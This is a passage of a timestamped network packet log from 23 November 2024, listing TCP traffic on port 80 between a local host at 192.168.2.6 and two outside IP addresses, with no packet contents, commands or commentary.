Nov 23, 2024 13:28:30.076896906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.076951981 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.077173948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.077275991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.077622890 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.078880072 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.078939915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.078990936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.079056978 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.081017017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.081085920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.081134081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.081329107 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.083127975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.083163977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.083185911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.083218098 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.085242033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.085294008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.085360050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.085421085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.087369919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.087408066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.087443113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.087481976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.089683056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.089740992 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.089766026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.089819908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.091531038 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.091588020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.091624975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.091677904 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.093636036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.093688965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.093724966 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.093776941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.095771074 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.095828056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.095829010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.095886946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.097868919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.097923040 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.097924948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.097979069 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.099973917 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.100023985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.100066900 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.100135088 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.102054119 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.102111101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.102128029 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.102176905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.104187012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.104244947 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.104289055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.104341984 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.106317997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.106354952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.106375933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.106406927 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.178015947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.178078890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.178141117 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.179641962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.179694891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.179765940 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.182857990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.202642918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.202714920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.202785015 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.202841043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.203521967 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.203583956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.203651905 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.204106092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.205290079 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.205326080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.205348015 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.205399990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.207106113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.207164049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.207171917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.207241058 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.208808899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.208884954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.208954096 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.209011078 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.210594893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.210658073 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.210716009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.210887909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.212343931 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.212476015 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.212485075 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.212522984 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.214124918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.214195013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.214247942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.214312077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.215909004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.215975046 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.216037989 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.216097116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.217690945 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.217751980 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.217861891 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.217976093 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.219496965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.219558954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.219618082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.219750881 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.220292091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.220444918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.220453978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.221221924 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.221285105 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.221347094 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.221401930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.221899033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.221976042 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.222968102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.223021984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.223042965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.223079920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.224776983 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.224855900 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.224870920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.224924088 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.226577997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.226639986 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.226686001 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.226775885 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.228313923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.228449106 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.228509903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.228511095 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.230148077 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.230233908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.230283022 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.231930017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.231982946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.231992960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.232048035 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.233643055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.233741045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.233776093 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.233808994 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.235455036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.235518932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.235541105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.235594988 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.235625982 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.237200975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.237278938 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.237320900 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.237411976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.238986969 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.239047050 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.239119053 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.239178896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.241255999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.241311073 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.241314888 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.241354942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.242572069 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.242624044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.242700100 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.242759943 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.244306087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.244364977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.244436979 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.244637966 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.246073008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.246124983 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.246129990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.246186972 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.247612953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.247678995 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.247701883 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.247756958 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.249195099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.249248981 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.249321938 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.249372959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.251097918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.251157045 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.251189947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.251276970 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.252330065 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.252388954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.252428055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.252490044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.254004002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.254067898 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.254086971 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.254138947 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.255475998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.255528927 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.255601883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.255691051 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.257075071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.257133007 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.257189989 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.257244110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.258620977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.258673906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.258747101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.258801937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.260546923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.260598898 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.260623932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.260649920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.261773109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.261831999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.261888981 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.262007952 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.263369083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.263434887 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.263490915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.263545990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.264920950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.264978886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.265237093 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.265295029 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.266493082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.266566992 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.266623974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.266678095 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.268157959 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.268193960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.268224001 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.269663095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.269704103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.269738913 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.269781113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.269861937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.271209955 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.271267891 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.271280050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.271357059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.272810936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.272878885 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.272933960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.272989988 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.274395943 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.274431944 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.274461031 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.274493933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.275937080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.276004076 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.276067972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.276123047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.277626038 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.277715921 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.277836084 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.278445959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.279144049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.279206038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.279279947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.279361010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.280685902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.280761957 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.280834913 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.280881882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.282263994 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.282346010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.282380104 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.282856941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.283822060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.283900976 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.283902884 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.283962011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.285451889 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.285506010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.285567999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.285659075 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.285897970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.285949945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.286005974 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.286997080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.287059069 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.287138939 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.287192106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.288530111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.288685083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.288748980 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.290075064 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.293873072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.325376987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.325443983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.325499058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.326982975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.327075005 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.327126980 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.330307961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.367552042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.367644072 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.367676973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.369117975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.369280100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.403862953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.403896093 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.404088020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.404088020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.404197931 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.404263973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.404334068 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.404392004 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.405503988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.405559063 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.405570030 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.405615091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.406783104 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.406873941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.406877041 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.406934977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.408056974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.408137083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.408170938 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.408221960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.409344912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.409419060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.409470081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.409868956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.410605907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.410671949 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.410716057 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.411849022 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.411940098 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.412026882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.413089037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.413163900 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.413252115 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.413491964 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.414288044 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.414362907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.414416075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.414474010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.415568113 CET	80	49777	185.215.113.16	192.168.2.6
